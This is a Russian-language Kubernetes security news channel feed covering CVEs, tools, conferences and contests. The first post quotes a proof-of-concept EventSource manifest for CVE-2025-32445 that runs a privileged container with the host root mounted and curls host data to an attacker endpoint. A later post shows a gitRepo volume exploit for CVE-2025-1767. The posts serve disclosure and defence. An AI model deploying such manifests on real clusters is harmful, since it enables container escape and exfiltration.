11902
Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Вселенная Argo не ограничивается только лишь Argo CD. Так например, совсем недавно была раскрыта уязвимость CVE-2025-32445 с оценкой 10/10 по CVSS в Argo Events, позволяющая пользователю с правами на создание кастомных ресурсов EventSource и Sensor сбежать из контейнера и получить полный контроль над кластером.
Всё дело в том, что Argo Events обрабатывал поля securityContext (и другие) в EventSource, хотя этого не было явно указано в документации. В качестве PoC исследователь приложил следующий YAML манифест, в результате которого на сервер атакующего отправится hostname хоста и листинг /run/containerd/containerd.sock:
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
.spec.template.container.
Читать полностью…
Мало хорошо разбираться в Kubernetes и его безопасности - он все равно тебя сможет рано или поздно удивить. И в таких ситуациях важно знать кто может подсказать в том или ином вопросе ;) Одним из людей к которым я периодически обращаюсь является Миша Петров и он не так давно завел свой канал по k8s и не только - Azalio_tech.
И тут хотелось бы обратить ваше внимание на его последний пост про отключение анонимного доступа к kube-apiserver, но оставляя health checks! Оказывается это возможно, но только придется похимичить с конфигами на новых версиях куба 1.31, 1.32.
Про опасность анонимного доступа и почему его важно отключать мы писали ранее тут и тут.
В Open Source версии Calico 3.30 появится собственный web-based графический интерфейс для просмотра и фильтрации flow логов для разбора проблем с соединениями и анализа работы NetworkPolicy. Данный компонент называется Whisker и состоит из трех компонентов:
1) Whisker UI - фронтенд
2) Whisker backend - бэкенд для получения данных
3) Goldmane - gRPC API server
Всем, привет!
Хотим напомнить, что с завтрашнего дня будет повышение цен на билеты на нашу конференцию по БЕзопасности КОНтейнеров и Kubernetes - БеКон!
Прием заявок на доклады уже остановлен, идет их анализ и уже совсем скоро мы начнем их постепенно публиковать ;)
Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.
В ней автор рассказывает о том, как можно использовать подписанные docker images совместно с Vault, а именно более подробно говорит про:- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD
Сегодня еще один пост про Linux user namespace ;)
Но уже про баги, точнее про обход механизма безопасности, который придумали и внедрили разработчики Ubuntu в свою ОС (в других ОС такой механизм вообще отсутствует). Оригинальный материал в заметке от исследователей называется "Three bypasses of Ubuntu's unprivileged user namespace restrictions" и описывает 3 способа обхода механизма sysctl kernel.apparmor_restrict_unprivileged_userns, через:
1) aa-exec
2) busybox
3) LD_PRELOAD
Если кратко, то задача данного механизма в том чтобы когда непривилегированный пользователь создавал unprivileged user namespace в нем не содержалось опасных административных capabilities (типа CAP_SYS_ADMIN или CAP_NET_ADMIN), которые чрезвычайно увеличивают поверхность атаки на ядро ОС.
Получение таких привилегий может в дальнейшем использоваться для ядерных эксплойтов, например чтобы сбежать из контейнера. О таком мы уже рассказывали тут.
В официальном блоге Kubernetes вышла статья "Kubernetes v1.33 sneak peek", посвященная предстоящему релизу новой версии. С точки зрения безопасности этот релиз примечателен тем, что в нем наконец-то спустя 9 лет до GA доберётся KEP-127: Support User Namespaces in pods! И это прям очень круто для безопасности контейнеров в Kubernetes - можно сказать настоящая веха и понятия root пользователя будет делиться на до этого момента и после этого момента) Почему именно так? Можно ознакомиться в прошлогоднем докладе с нашей конференции БеКон под названием "Linux user namespace в чертогах Kubernetes".
В преддверии KubeCon Europe 2025 прошел Cloud Native Rejekts Europe 2025 и уже доступны все записи докладов:
- Первый день зал The Nash
- Первый день зал The Waterloo
- Второй день зал The Nash
- Второй день зал The Waterloo
Отдельно отметить доклады:
- Kyverno Chronicles: A DevSecOps Tale
- Immutable Turtles All the Way Down – Image-Based Kubernetes to power In-Place Updates
- The future of configurability in Kubernetes with Common Expression Language (CEL)
- Pod Deep Dive: Everything You Didn't Know You Needed to Know
- What I wish I knew about container security
- Who Secures the Service Mesh? Mind the Gap in Your Mesh
- Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
- The Service Mesh Wars: A New Hope for Kubernetes
- The Kubernetes Guardians: A Deep Dive Into Your Security Avengers
- API-Driven Security Automation for AKS: Falco Talon meets eBPF-powered Retina
Смотреть, не пересмотреть, но мы вам позже обо всем этом расскажем ;)
Наши друзья из Флант сделали картинку k8s security iceberg про механизмы безопасности в Kubernetes и их уровни: от более простых к более сложным. Тоесть с чего по их мнению обычно начинают и к чему можно прийти в увлекательном пути обеспечения безопасности.
На первый взгляд может показать, что подобное сделать легко, но это не так. В своих подходах к подобному у меня получалось или все очень просто - всего лишь несколько пунктов на каждом уровне или каждый пункт разбивался еще на 5-10 подпунктов. В общем детализация сильно усложняет подобное... На пример, можно просто написать security feature gates и admission controllers, или перечислить конкретные.
А как насчет взять и сделать совместную редакцию K8s(in)security community edition данного айсберга?) Давайте в комментариях к данному посту попробуем расширить/поправить/улучшить/... данную версию. Считаем что уровни айсберга идут сверху вниз от 1 до 8.
Сегодня наша команда Luntry в рамках конференции Deckhouse Conf 2025 представит доклад "Стандарт безопасности контейнеров NIST 800-190 в 2025 году".
В процессе подготовки выступления были проанализированы документы NIST серии SP 800, связанные так или иначе с микросервисами, контейнерами, облаками и Cloud Native технологиями в общем.
В прикрепленной картинке вы можете наблюдать их перечень и при желании уже ознакомиться самостоятельно ;)
В Kubernetes раскрыта очередная уязвимость – CVE-2024-7598: Network restriction bypass via race condition during namespace termination.
Наверняка вы замечали, что некоторые ресурсы могут висеть в статусе terminated при удалении namespace целиком. Так вот порядок удаления ресурсов при таком namespace termination не определен, и это может привести к тому, что в какой-то момент времени Pods будут всё ещё работать, а Network Policy уже не будет существовать и применяться к Pods. Такое удаление ресурсов вызывает состояние гонки, которое в свою очередь даёт возможность обойти сетевые ограничения, наложенные Network Policy.
Аналогично совсем недавно раскрытой CVE-2025-1767 исправлений для текущих версий нет. Однако, очередность удаления ресурсов уже реализована в рамках KEP 5080 и будет завезена в статусе alpha в 1.33.
В качестве мер митигации предлагается вручную удалять Workloads перед удалением Namespace. Также предлагается использовать Network Policy Finalizer.
Уязвимость затрагивает Kubernetes кластера >= v1.3 версии и имеет оценку Low (3.1) по CVSS.
Сегодня нашему каналу k8s (in)security исполняется 5 лет !!!
Мы всей нашей командой Luntry стараемся держать уровень и радовать вас новыми интересными материалами и мыслями про безопасность контейнеров и Kubernetes!
Не так давно мы пересекли рубеж в 10 000 подписчиков и продолжаем уверенно расти благодаря вам и формировать отличное сообщество. Вместе с вами в этом году мы уже проведем 3 специализированную конференцию БеКон!
Будем рады если поздравите нас в комментариях и/или поделитесь ссылкой на наш канал с друзьями, что интересуются данной темой.
P.S. А для меня это всегда двойной праздник, так как День рождение и у моего сынишки, который на 1 год младше данного канала)
Конкурс!7 и 8 апреля в Москве пройдет DevOpsConf 2025! Там как всегда будем много интересного по теме контейнеров, Kubernetes и безопасности этих технологий.
Мы разыгрываем:
- 1 офлайн билет
- 2 онлайн билета
И так, Kubernetes очень активно развивается и с каждой новой версией там появляется все больше новых возможностей! Это легко можно увидеть, на пример, в проекте Kaniuse, который является Kubernetes Feature Status Tracker.
Для того чтобы выиграть один из призов в комментариях к данному посту напиши какую вы фичу ждете и почему, описав конкретную вашу боль. Эта фича как уже может иметь какой-то KEP, так и полностью придумана вами. Чем подробнее вы опишите тем больше шансов выиграть.
Варианты принимаем до 27 марта.
P.S. Наша команда будет на конференции и мы с радостью пообщаемся в офлайн.
P.S.S. Промокод на скидку в 5% при покупке билета dc25_k8security ;)
Вернемся к непопулярной у нас теме (но при этом достаточной интересной) - Windows containers и поможет нам в этом статья "How do COWs (Containers on Windows) work?" с хорошей визуализацией и сравнением с Linux containers.
При этом отдельно хочется отметить что аналогичный runc компонент в Windows под названием hcsshim (Host Compute Service Shim) доступен в исходниках и изучить его можно тут.
Будущая версия containerd 2.1 еще на шаг приблизит возможность в Kubernetes делать live миграцию сервисов! Изучите данный тикет "Support container restore through CRI/Kubernetes #10365" - там много всего интересного с исторической репрезентацией данного вопроса. При этом есть и параллели с Podman и CRI-O, в которых эта фича тоже есть.
С точки зрения ИБ напомним, что это упростить процесс форензики в контейнерах нативными средствами контейнеров.
22 апреля в 11:00 наша команда Luntry проведет вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества».
Вы можете задаться вопросом кого мы понимаем тут под специалистами анализа качества? Это специалисты, которым приходится проводить:
- Приёмо-сдаточные испытания (ПСИ) как для внутренних разработок, так и внешних/заказных
- Сертификацию программного обеспечения
- Разбираться с "черными ящиками"
И все это, конечно, в контейнерном исполнении для Kubernetes. И естественно мы покажем как эту нетривиальную задачу можно очень просто решить с помощью нашего решения Luntry.
Зарегистрироваться можно здесь.
P.S. Этот вебинар продолжение серии вебинаров, которые уже показывали как Luntry может помочь CISO и SOC. Далее еще будет для DevSecOps специалистов, разработчиков, безопасников, отвечающих за сетевую безопасность и т.д.
Начинаем эту неделю с интересной статьи – adammesser_51095/cloud-digital-forensics-and-incident-response-elastic-kubernetes-service-takeover-leads-to-9553c5424df5">Cloud Digital Forensics and Incident Response — Elastic Kubernetes Service Takeover Leads to Cryptominer Deployment.
В ней автор, на примере вымышленной истории, рассказывает как можно проводить форензику в AWS. Не смотря на то, что история вымышлена, в ней приводятся реальные техники атакующих – web application command injection, Instance Metadata Service (IMDS) access, JSON Web Token (JWT) abuse, и valid credential abuse.
Также автор показывает как расследовать такой инцидент, используя web server logs, container logs, CloudWatch Kubernetes logs, и CloudTrail logs.
Сегодня хотим поделиться очередным новым проектом с просторов GitHub – Dracan. Довольно сложно описать Dracan одним предложением, однако скорее его можно отнести к чему-то между Authorization Policy от Istio, Network Policy и WAF. Сейчас он умеет следующее:- HTTP Method Filtering
- JSON Validation
- Request Limiting
- Payload Limitation
- URI Filtering
- Header Validation
Авторы позиционируют его как легковесный инструмент, для эксплуатации которого не нужен опыт настройки WAF или большая DevOps экспертиза.
Давайте сегодня познакомимся с online-площадками, где можно потренироваться в написании политик для Policy Engine как внешних по отношению к Kubernetes, так и встроенным:
1) Kyverno Playground - очевидно что для политик для Kyverno как на YAML, так и на CEL
2) Rego Playground - для политик OPA Gatekeeper на Rego (хотя OPA Gatekeeper уже поддерживает и CEL)
3) CEL Playground - для политик Validating Admission Policy на CEL
Думаем что легко можно заметить сильное влияние Kubernetes Validating Admission Policy, появившегося в GA в 1.30, с его CEL.
P.S. Если вы по сей день не используете никакой из этих 3-х движков, то непонятно как вы строите безопасность Kubernetes кластера ....
Недавно прошел KubeCon + CloudNativeCon Europe 2025 и видео еще не доступны, но есть уже слайды по некоторым докладам.
Хочется отметить доклад "Enhancing Software Composition Analysis Resilience Against Container Image Obfuscation", который продолжает тему сокрытия уязвимостей в образах контейнеров. Мы писали об этом тут, тут и тут. Но на этот раз ребят подошли тут к вопросу с академической точки зрения и со всеми соответствующими атрибутами этого. И у них получилось отлично дополнить картину прошлых работ. Также они выложили репозитарий с кодом "Container obfuscation benchmark", чтобы можно было повторить их эксперимент.
В очередной раз хочется сказать, что стройте ZeroTrust защиту, а не вокруг управления уязвимостями - они были, есть и будут (их еще и спрячут от вас).
P.S. Ближайшие 2 дня наша команда на DevOpsConf 2025 - будем рады пообщаться лично!
Подготовка к нашей конференции БеКон 2025 идет полным ходом: программа формируются, партнеры подписываются, первый мерч готовится, стикерпак печатается!
До 3 июня уже не так-то и много времени осталось и возможность взять билеты по самой низкой цене ;)
P.S. Билетов ограниченное количество, все с учетом размеров площадки, чтобы всем было комфортно.
С 30 по 31 марта в Лондоне, в предверии KubeCon Europe 2025, прошла конференция Cloud Natvie Rejekts Europe 2025. Для тех кто не знает, напомним – на этой конференции спикеры это те люди, которых не взяли в основную программу KubeCon.Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments – доклад, который не остался незамеченным. В нём, Wojciech Kocjan, рассказывает как готовить тонкие образы для AI / ML нужд – минимизируя ненужные зависимости, выбирая безопасные базовых образы, и оптимизируя время сборки.
Доклад доступен в записи трансляции.
Парочку объявлений:
1) CFP БеКон 2025
Сегодня последний день принятия заявок! Далее мы примерно неделю их обработаем и даем ответ с обратной связью. И будем постепенно публиковать программу. До 10 апреля можно успеть купить билет по ранней цене.
2) Итоги конкурса от DevOpsConf 2025
Победители:
- @malibuup (offline билет)
- @atai_19 (online билет)
- @uburro (online билет)
Поздравляем победителей! И напоминаем про промокод на скидку в 5% при покупке билета dc25_k8security.
Сегодня хотим поделиться с вами очередным инструментом – Pinniped.
По сути, Pinniped выступает в роли authentication service для Kubernetes кластера. Он поддерживает различные authenticator types и OIDC identity providers, а также имплементирует различные стратегии интеграции с различными дистрибутивами Kubernetes для облегчения аутентификации.
Исследователи из WIZ плотно взялись за ресерч очередного продукта, на этот раз – ingress-nginx controller. В результате было раскрыто 5 уязвимостей, одна из которых имеет severity critical.
Что интересно, в отличии от прошлых CVE, что находили в контроллере, для эксплуатации этих уязвимостей (не всех) не нужно создавать ресурс Ingress. Атакующему необходимо отправлять вредносные запросы через admission review напрямую в admission controller.
Максимальный импакт может нанести атакующий, находящийся внутри сети Kubernetes. И тут на помощь в очередной раз приходит Network Policy! Не устаем напоминать насколько это must have механизм.
Несмотря на то, что исследователи довольно подробно описали технические детали для эксплуатации уязвимостей реального эксполйта они не опубликовали. Однако PoC уже доступны на GitHub.
Забавно, что для уязвимости с максимальной критичностью 9.8 по CVSS для фикса просто закомментировали уязвимый функционал:
Читать полностью…
/* Deactivated to mitigate CVE-2025-1974
// TODO: Implement sandboxing so this test can be done safely
На нашем сайте в разделе Исследований стали доступны слайды и видеозапись выступления "Форензика для контейнеров и контейнерных инфраструктур" c CyberCamp 2025.
И если вам эта тема интересна и близка, то напоминаем что уже завтра 25 марта в 11:00 состоятся вебинар "Безопасность контейнеров и Kubernetes для SOC". Зарегистрироваться можно тут.
Grant - инструмент (от создателей Syft и Grype) для работы с лицензиями для образов контейнеров, SBOM, файловых систем и применения правил для построения отчетов соответствия лицензионным политикам/требованиям.
Пример правила:
pattern: "*gpl*"Читать полностью…
name: "deny-gpl"
mode: "deny"
reason: "GPL licenses are not allowed"
exceptions:
- "alpine-base-layout" # We don't link against this package so we don't care about its license
Сегодня вернемся к атакующей тематике, а именно – Mark Manning представил крутейший доклад Command and KubeCTL: Kubernetes Security for Pentesters and Defenders на прошедшей вчера конференции B-Sides Reykjavik 2025.
В докладе он рассмотрел Real World Scenario – начиная с компрометации среды сборки и заканчивая эксфильтрацией секретов в продакшн кластере Kubernetes.
Также нельзя упомянуть о модификациях некоторых ранее известных инструментов, которые автор сделал специально для доклада:
1) В go-pillage-registries добавлен bruteforce имен образов для выкачивания их из regsitry, а также добавлена интеграция с trufflehog для поиска чувствительных данных внутри образов.
2) В backdoored-vault (форк Vault) добавлена DNS эксфильтрация секретов
Со слайдами можно ознакомиться тут.
Возвращаясь к CVE-2025-1767, о которой мы рассказывали в прошлую пятницу, нельзя не упомянуть о довольно простой эксплуатации этой баги:
apiVersion: v1
kind: Pod
metadata:
name: git-repo-pod-test
spec:
containers:
- name: git-repo-test-container
image: raesene/alpine-containertools
volumeMounts:
- name: git-volume
mountPath: /tmp
volumes:
- name: git-volume
gitRepo:
repository: "/TestingScripts"
directory: "."
Rory McCune рассказал в свой статье CVE-2025-1767 - Another gitrepo issue.CVE-2025-1767 активизировались обсуждения насчет выпиливания gitRepo Volume как фичи с версии Kubernetes 1.33 по умолчанию. И как итог, в рамках KEP-5040, gitRepo Volume driver был удален. Более подробно обсуждения можно почитать тут и тут.
Мы запустили продажу билетов на БеКон 2025! Успейте взять билет по ранней цене.
P.S. Напоминаем про промокоды на скидку на бейджах прошлого года ;)